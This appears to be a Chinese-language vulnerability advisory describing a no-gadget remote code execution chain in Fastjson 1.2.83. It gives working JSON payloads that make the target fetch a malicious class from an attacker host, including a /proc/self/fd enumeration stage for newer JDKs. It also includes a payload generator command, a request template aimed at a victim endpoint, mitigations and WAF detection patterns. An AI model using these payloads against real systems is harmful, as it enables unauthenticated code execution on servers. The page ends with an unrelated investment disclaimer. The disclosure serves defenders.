Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。
在传统 Java 反序列化漏洞防御体系中,业界普遍存在以下认知盲区:“AutoType 默认关闭就安全”、“固定了 parseObject 的第二参数(顶层目标类型)就安全”、“排空了本地 Classpath 的反序列化 Gadget 依赖就安全”。然而,最新的技术攻防演进彻底打破了这些侥幸心理。
GCSA 全球网络安全联盟今日独家发布本篇技术洞察报告。 报告深入复盘了 Fastjson 1.2.83 在默认 AutoType=false 状态下,依然可触发无需传统 Gadget 依赖的远程代码执行(RCE)的底层根因。目前,该利用技术已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔离环境中端到端复现成功。本漏洞并非传统的“绕过黑名单后寻找本地 Gadget”,而是直接将 Fastjson 自身的 Class 元数据探测逻辑扭转为远程恶意 Class 的获取与授权通道。 以下为正文
Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。
Fastjson 1.2.83 的 ParserConfig.checkAutoType 会把用户可控的 @type 值转换为 class 资源名,并交给当前 ClassLoader 的 getResourceAsStream:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中,攻击者可以利用点号替换构造 http:、jar:http: 和 jar:file: URL,从攻击端下载带有 @JSONType 的恶意 class。Fastjson 检测到该注解后会调用 loadClass,并在危险基类检查和目标类型相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。
该利用不依赖目标 classpath 中已有的传统反序列化 gadget,且在 Fastjson AutoType=false 的默认状态下仍可触发。固定 JSON.parseObject 的目标类型不能阻止执行;启用 SafeMode 可以在资源访问前阻断正常利用路径。
本报告已使用同一个 JSON payload 在隔离 Linux 容器中完成以下复现:


不建议仅凭组件版本给出统一的 CVSS 9.8:普通 AppClassLoader 是负对照,现代 JDK 完整链还依赖能够解析两种绝对 JAR URL 的 loader 和 /proc/self/fd。在满足本报告正向环境的应用中,漏洞效果为无需认证的网络 RCE。
外部描述中的 1.2.68–1.2.83 更适合作为已知测试范围,而不是漏洞引入版本。源码核对表明,决定性的 class 资源探测代码在 1.2.67 和 1.2.68 中已经存在。本报告仅对 1.2.83 完成了完整跨 JDK 运行时验证。
攻击者不需要:
源码位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
核心代码:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
该逻辑假设 resource 只是普通 classpath 路径,但没有限制其协议、绝对路径语义或来源。对于特定 fat-jar loader,以下输入会在替换后变成绝对 URL:
输入类型名: http:..localhost:18081.a
资源名: http://localhost:18081/a.class 因此 getResourceAsStream 从本地元数据查询越界为攻击者可控的网络资源加载。
Fastjson 使用自己的 ASM ClassReader 解析资源内容:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
攻击端只需让远程 class 带有 Fastjson 的 @JSONType 注解,即可将 jsonType 置为 true。这里检查的是攻击者提供的字节,而不是一个已经由可信 classpath 加载的类。
源码位置:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass 依次尝试显式 loader、线程上下文 loader 和 Class.forName。在正向环境中,线程上下文 loader 会再次解析相同的绝对资源名、下载 class 并执行 defineClass。
源码位置:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz;
} // These checks are performed after the jsonType is returned.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...);
} if (expectClass != null) {
// assignability the check is also done later.
}
}
远程 class 一旦携带 @JSONType:
源码位置:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}
现代 JDK 第一阶段会因非法内部类名加载失败。让类型名以 Exception 结尾后,Fastjson 不会终止整个 JSON,而是返回 null,使解析器继续处理数组中的 FD 枚举元素。这一分支是单 payload 跨阶段执行的关键。
SafeMode 检查位于资源访问之前:
ParserConfig.java:1325-1330
所以默认路径中 SafeMode 能阻止网络请求。不过 AutoTypeCheckHandler 位于 SafeMode 之前(ParserConfig.java:1316-1323);如果应用主动注册了一个直接返回类型的 handler,需要单独审计,不能把 SafeMode 理解为可覆盖自定义 handler 的绝对边界。
最短形式:
{"@type":"http:..localhost:18081.a"}
转换链:
binary type name: http:..localhost:18081.a
resource URL: http://localhost:18081/a.class
class internal: http://localhost:18081/a
JDK 8 接受上述非常规内部类名。Spring Boot 2.7 的 LaunchedURLClassLoader 下载 class 后完成定义、实例化和初始化,恶意 <clinit> 执行命令。
JDK 17+ 同样会完成网络请求,但拒绝内部名中的空路径段,
ClassFormatError: Illegal class name "http://localhost:18081/a"
所以短 http:.. 形式本身只在 JDK 8 完成 RCE。
单 payload 的首个数组元素:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
转换结果:
resource URL:
jar:http://attacker:18081/x!/foo/Exception.class
JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 会创建 jar_cache* 临时文件,将远程 JAR 复制到该文件。
JDK 17+ 随后拒绝第一阶段 jar:http://... 内部名,但 Fastjson 因 Exception 后缀继续解析数组。
后续候选元素:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
转换链:
binary type name:
jar:file:.proc.self.fd.7!.fd7.Exception resource URL:
jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:
jar:file:/proc/self/fd/7!/fd7/Exception
与 http:// 不同,该内部名的每个 / 分隔组件都非空,因此现代 JVM 接受。攻击 JAR 中为每个候选 FD 准备一个入口:
fd3/Exception.class
fd4/Exception.class
...
fd64/Exception.class
每个 class 的常量池内部名都与对应 FD 的请求类型精确匹配,并携带 @JSONType。命中实际缓存句柄后,Fastjson 加载并实例化该类,<clinit> 执行命令。
JDK 17 的 class-load 日志中首个命中为:
jar:file:.proc.self.fd.7!.fd7.Exception
JDK 8 直接接受第一阶段 jar:http://... class 并执行
第一阶段 class 执行命令后故意抛出 RuntimeException("stage-one-stop"),阻止 JDK 8 继续尝试无关 socket/pipe FD
JDK 17+ 在 class 初始化前就因第一阶段非法名称失败,随后通过 Exception 软返回进入 FD 枚举阶段
fastjson-1.2.83.jar
SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar
SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar
SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b
cd <repro-workspace>
PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh
期望输出:
JDK 8 : RCE-OK
JDK 17: RCE-OK
JDK 21: RCE-OK
JDK 25: RCE-OK
脚本会:
cd <repro-workspace> ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \
--host attacker \
--port 18081 \
--fd-root /proc/self/fd \
--min-fd 3 \
--max-fd 64 \
--out-jar target/getresource-repro/www-linux/x \
--out-json target/getresource-repro/fd-payload-linux.json
生成物:
Attacker JAR: target/getresource-repro/www-linux/x
JSON payload: target/getresource-repro/fd-payload-linux.json
--host 建议使用不含点号的 DNS 标签或十进制 IPv4。原因不是绕过 localhost, 而是 Fastjson 会把类型名中的所有.都改成 /。例如十进制 IPv42130706433 等价于 127.0.0.1,但不会被点号替换拆开。
Burp 只负责向存在 Fastjson 解析点的受害接口发送 JSON;攻击 JAR 仍需由攻击端 HTTP 服务提供。
请求模板:
POST /parse HTTP/1.1
Host: victim.example
Content-Type: application/json
Connection: close
Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]
如果应用使用固定顶层类型,可根据字段结构包装数组,例如:
{"value":[/* All array elements in fd-payload-linux.json */]}
本实验使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包装,结果仍为 RCE-OK,并正常返回 BoundEnvelope。

优先迁移至维护中的 Fastjson 2.x,并重新验证所有多态类型、AutoType 和兼容模式配置。不要仅替换 JAR 而不做回归测试。
代码配置:
ParserConfig.getGlobalInstance().setSafeMode(true);
JVM 参数:
-Dfastjson.parser.safeMode=true
注意:应用如注册了 AutoTypeCheckHandler,应同步审计或移除,因为 handler 在 SafeMode 检查之前执行。
临时拦截 JSON key 解码后等于 @type 的请求,并覆盖 URL 参数、请求体及嵌套对象。不能只搜索明文 "@type",Fastjson lexer 会先解码字段名,例如:
{"\u0040type":"..."}
{"\x40type":"..."}
WAF 规则只能作为缓解,不能代替组件升级和 SafeMode。
重点关注解码后的 @type 值包含:
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception
单独出现 Exception 不足以告警,应与协议形式、@type 和数组内连续 FD 候选组合关联分析。
jar:file:.proc.self.fd.7!.fd7.Exception
本漏洞并非传统的“绕过黑名单后寻找本地 gadget”,而是把 Fastjson 自身的 class 元数据探测逻辑变成了远程 class 获取和授权通道。@JSONType 早返回使攻击者提供的 class 在危险基类和类型绑定检查之前被接受;Exception 失败软通道及 JDK jar:http: 临时缓存则将 JDK 8 的直接加载原语扩展到了 JDK 17/21/25。
因此以下常见判断均不成立:
在满足已验证 loader、网络和文件描述符条件的部署中,该问题可以从单个未经认证的 JSON 请求发展为真实远程代码执行。应优先迁移 Fastjson 2.x,并立即启用 SafeMode、收紧出网与 ClassLoader 资源解析边界。
Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md
Reproduction instructions: target/getresource-repro/README.md
JDK 8 short chain: target/getresource-repro/reproduce.sh
JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh
Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py
Generated Linux payload: target/getresource-repro/fd-payload-linux.json
JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log
转载及版权声明:本报告及相关技术分析由 GCSA 全球网络安全联盟独家发布。如需转载请完整保留 GCSA 官方出处及原始链接,并不得对报告核心观点进行恶意篡改。
来源:GCSA 全球网络安全联盟
官网:www.gcsa.org
【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
